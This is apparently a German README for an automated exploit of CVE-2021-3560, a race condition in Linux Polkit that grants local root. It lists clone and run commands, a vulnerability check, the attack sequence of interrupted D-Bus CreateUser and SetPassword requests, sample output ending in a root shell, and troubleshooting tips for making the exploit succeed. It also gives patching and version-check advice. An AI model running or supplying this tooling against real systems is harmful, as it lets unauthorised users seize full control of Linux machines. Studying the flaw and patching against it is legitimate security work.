
Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Ein automatisierter Exploit für die CVE-2021-3560-Schwachstelle, die PolicyKit (Polkit) auf Linux-Systemen betrifft.
⚠️ WARNUNG: Dieses Tool ist ausschließlich für Schulungs- und Cybersicherheitsübungen in einer kontrollierten Laborumgebung bestimmt. Die unbefugte Nutzung dieses Exploits auf Systemen, die Ihnen nicht gehören, ist illegal.
CVE-2021-3560 ist eine lokale Race-Condition-Schwachstelle in PolicyKit (polkit), die es einem unprivilegierten Benutzer ermöglicht, auf verwundbaren Linux-Systemen Root-Rechte zu erlangen.
Die Schwachstelle betrifft zwei Zweige von Polkit mit unterschiedlicher Versionsnummerierung:
bfa5036 (Version 0.113)f81d021 (Version 0.105-26)📝 Hinweis: Systeme mit installierten Sicherheitspatches (z. B. ubuntu1.1, deb10u1) sind nicht verwundbar.
Der Exploit benötigt die folgenden Werkzeuge (automatisch überprüft):
- dbus-send # Zur Kommunikation mit D-Bus
- pkexec # Teil von PolicyKit
- id # Zur Überprüfung der Benutzererstellung
- openssl # Zum Generieren des Passwort-Hashes
- accountsservice # Muss installiert und aktiv sein
# Repository klonen (oder die Datei herunterladen)
git clone https://github.com/[your-repo]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Skript ausführbar machen
chmod +x CVE-2021-3560_Polkit.py
Überprüfen, ob das System verwundbar ist, ohne den Exploit auszuführen:
python3 CVE-2021-3560_Polkit.py --check
Beispielausgabe:
[*] ============================================================
[*] CVE-2021-3560 Polkit Vulnerability Checker
[*] ============================================================
[*] Detecting operating system...
[+] OS: Ubuntu 20.04
[*] Checking required dependencies...
[+] Found: dbus-send
[+] Found: pkexec
[+] Found: id
[+] Found: openssl
[*] Detecting Polkit version...
[+] Polkit version: 0.105-26ubuntu1
[+] ============================================================
[+] SYSTEM APPEARS VULNERABLE!
[+] ============================================================
[*] Debian/Ubuntu fork detected (vulnerable since 0.105-26)
Erstellen eines privilegierten Benutzers:
python3 CVE-2021-3560_Polkit.py -u <benutzername> -p <passwort>
Beispiel:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
usage: CVE-2021-3560_Polkit.py [-h] [-u USERNAME] [-p PASSWORD] [-c]
options:
-h, --help Hilfe anzeigen
-u, --username Zu erstellender Benutzername
-p, --password Passwort für den neuen Benutzer
-c, --check Verwundbarkeit prüfen, ohne auszunutzen
Der Exploit nutzt eine Race Condition in PolicyKit während der Verarbeitung von D-Bus-Anfragen aus.
┌─────────────────────────────────────────────────────────┐
│ 1. Optimal timing measurement │
│ └─> Test execution to calibrate timing │
├─────────────────────────────────────────────────────────┤
│ 2. Exploitation: User creation │
│ └─> Send D-Bus CreateUser request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Verify if user created │
├─────────────────────────────────────────────────────────┤
│ 3. Password hash generation │
│ └─> Using openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploitation: Password setting │
│ └─> Send D-Bus SetPassword request │
│ └─> Kill process at precise moment (race condition) │
│ └─> Test login with password │
├─────────────────────────────────────────────────────────┤
│ 5. Privilege escalation │
│ └─> Login with created account │
│ └─> Use sudo if member of sudo group │
└─────────────────────────────────────────────────────────┘
# 1. Verwundbarkeit prüfen
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py --check
[+] SYSTEM APPEARS VULNERABLE!
# 2. Exploit starten
user@vulnerable:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Polkit Privilege Escalation ║
╚═══════════════════════════════════════════════════════════╝
[*] Creating user 'pwned' using race condition timing attack...
[*] Measuring command execution time...
[*] Command takes ~0.045s, using 0.023s timing
[*] Attempting race condition exploit, please wait...
[+] User 'pwned' created successfully! UID: 1001
[*] User is member of groups: 1001(pwned) 27(sudo)
[*] Generating password hash...
[+] Password hash generated
[*] Setting password for user 'pwned'...
[+] Password set successfully!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT SUCCESSFUL! ║
╚═══════════════════════════════════════════════════════════╝
[+] User 'pwned' created with password 'Pwn3d123!'
[*] User should be member of 'sudo' group for privilege escalation
[*] Switching to user 'pwned'...
# 3. Root erhalten
pwned@vulnerable:~$ sudo su
root@vulnerable:~# id
uid=0(root) gid=0(root) groups=0(root)
PolicyKit aktualisieren:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# oder
sudo dnf update polkit
Version prüfen:
pkexec --version
# Muss >= 0.119 (upstream) oder gepatcht sein
Sicherheitspatches überprüfen:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
Der Exploit basiert auf einer Race Condition, was bedeutet:
Die folgenden Versionen enthalten Sicherheitspatches und sind NICHT verwundbar:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, usw. (Ubuntu gepatcht)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, usw. (Ubuntu gepatcht)0.105-31+deb11u1 (Debian 11 gepatcht)polkit-0.115-11.el8_4.1 (RHEL 8 gepatcht)Hinweis: Wenn Ihr System als verwundbar angezeigt wird, der Exploit aber mit PermissionDenied-Fehlern fehlschlägt, ist die Version wahrscheinlich gepatcht. Der Exploit erkennt diese gepatchten Versionen nun korrekt.
Wenn der Exploit fehlschlägt:
Python-Version prüfen (bei TypeError: __init__() got an unexpected keyword argument 'capture_output'):
python3 --version
# Sollte 3.6 oder höher sein
# Das Skript ist kompatibel mit Python 3.6+
Prüfen, ob die Version gepatcht ist:
pkexec --version
# Wenn Sie ubuntu1.X sehen (mit X > 0), ist es gepatcht
accountsservice prüfen:
systemctl status accounts-daemon
D-Bus prüfen:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
Von SSH aus starten statt lokaler Konsole
Timing anpassen, indem optimal_timing im Code geändert wird
Seimu
Dieses Projekt ist ausschließlich für Bildungszwecke bestimmt. Die Verwendung dieses Codes für unbefugte Aktivitäten ist strengstens untersagt und kann rechtliche Konsequenzen nach sich ziehen.
⚠️ Haftungsausschluss: Der Autor übernimmt keine Verantwortung für die missbräuchliche Verwendung dieses Tools. Verwenden Sie es nur in autorisierten Testumgebungen.
| Distribution | Polkit-Version | Verwundbar? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Ja |
| Ubuntu 18.04 | 0.105-20 | ❌ Nein |
| Debian testing "bullseye" | 0.105-31+ | ✅ Ja |
| Debian 10 "buster" | 0.105-25 | ❌ Nein |
| RHEL 8 | 0.115-11+ | ✅ Ja |
| RHEL 7 | < 0.113 | ❌ Nein |
| Fedora 21+ | 0.113+ | ✅ Ja |
| Fedora 20 und älter | < 0.113 | ❌ Nein |